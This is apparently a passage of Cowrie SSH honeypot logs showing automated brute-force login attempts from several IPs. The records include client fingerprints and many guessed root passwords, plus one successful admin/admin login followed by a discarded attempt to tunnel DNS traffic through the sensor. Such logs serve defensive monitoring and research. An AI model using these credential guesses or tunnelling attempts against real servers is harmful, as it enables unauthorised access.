{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:30:59.581497Z","src_ip":"213.209.159.158","session":"a195013a906d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wk","message":"login attempt [root/Wk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:05.018192Z","src_ip":"213.209.159.158","session":"a195013a906d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":42542,"dst_ip":"159.203.135.109","dst_port":22,"session":"248f30c1a254","protocol":"ssh","message":"New connection: 202.53.94.246:42542 (159.203.135.109:22) [session: 248f30c1a254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:06.176345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:06.182398Z","src_ip":"202.53.94.246","session":"248f30c1a254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:06.403564Z","src_ip":"202.53.94.246","session":"248f30c1a254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd!123","message":"login attempt [root/Passw0rd!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:07.306466Z","src_ip":"202.53.94.246","session":"248f30c1a254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:07.660300Z","src_ip":"213.209.159.158","session":"a195013a906d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":57352,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bbcb9f9b5a6","protocol":"ssh","message":"New connection: 213.209.159.158:57352 (159.203.135.109:22) [session: 6bbcb9f9b5a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:07.748184Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:08.526739Z","src_ip":"202.53.94.246","session":"248f30c1a254","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:09.036983Z","src_ip":"213.209.159.158","session":"6bbcb9f9b5a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:09.041528Z","src_ip":"213.209.159.158","session":"6bbcb9f9b5a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":51600,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa7432f1842b","protocol":"ssh","message":"New connection: 40.83.182.122:51600 (10.17.0.5:22) [session: aa7432f1842b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:12.233766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:12.238799Z","src_ip":"40.83.182.122","session":"aa7432f1842b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:12.317136Z","src_ip":"40.83.182.122","session":"aa7432f1842b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14141414","message":"login attempt [root/14141414] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:12.659680Z","src_ip":"40.83.182.122","session":"aa7432f1842b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:13.741024Z","src_ip":"40.83.182.122","session":"aa7432f1842b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ww123456789*","message":"login attempt [root/ww123456789*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:14.288067Z","src_ip":"213.209.159.158","session":"6bbcb9f9b5a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:17.013004Z","src_ip":"213.209.159.158","session":"6bbcb9f9b5a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":33176,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb031e51e6e0","protocol":"ssh","message":"New connection: 213.209.159.158:33176 (159.203.135.109:22) [session: bb031e51e6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:17.096453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:18.463012Z","src_ip":"213.209.159.158","session":"bb031e51e6e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:18.467720Z","src_ip":"213.209.159.158","session":"bb031e51e6e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23386,"dst_ip":"10.17.0.5","dst_port":22,"session":"f51fc58dc51f","protocol":"ssh","message":"New connection: 87.251.64.176:23386 (10.17.0.5:22) [session: f51fc58dc51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:23.226281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:23.233084Z","src_ip":"87.251.64.176","session":"f51fc58dc51f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:23.329030Z","src_ip":"87.251.64.176","session":"f51fc58dc51f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:23.618418Z","src_ip":"87.251.64.176","session":"f51fc58dc51f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:23.717887Z","session":"f51fc58dc51f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wg123456","message":"login attempt [root/Wg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:23.737203Z","src_ip":"213.209.159.158","session":"bb031e51e6e0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:23.814567Z","src_ip":"87.251.64.176","session":"f51fc58dc51f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:23.912657Z","src_ip":"87.251.64.176","session":"f51fc58dc51f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:26.287875Z","src_ip":"213.209.159.158","session":"bb031e51e6e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":33222,"dst_ip":"159.203.135.109","dst_port":22,"session":"15edb881e110","protocol":"ssh","message":"New connection: 213.209.159.158:33222 (159.203.135.109:22) [session: 15edb881e110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:26.366535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:27.639247Z","src_ip":"213.209.159.158","session":"15edb881e110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:27.643574Z","src_ip":"213.209.159.158","session":"15edb881e110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":45348,"dst_ip":"10.17.0.5","dst_port":22,"session":"82a49acb455c","protocol":"ssh","message":"New connection: 112.104.154.26:45348 (10.17.0.5:22) [session: 82a49acb455c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:29.975858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:29.980810Z","src_ip":"112.104.154.26","session":"82a49acb455c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:30.170626Z","src_ip":"112.104.154.26","session":"82a49acb455c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:30.953823Z","src_ip":"112.104.154.26","session":"82a49acb455c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":48040,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d6ddfb14767","protocol":"ssh","message":"New connection: 186.148.224.183:48040 (159.203.135.109:22) [session: 4d6ddfb14767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:32.008967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:32.013569Z","src_ip":"186.148.224.183","session":"4d6ddfb14767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:31:32.145374Z","src_ip":"112.104.154.26","session":"82a49acb455c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa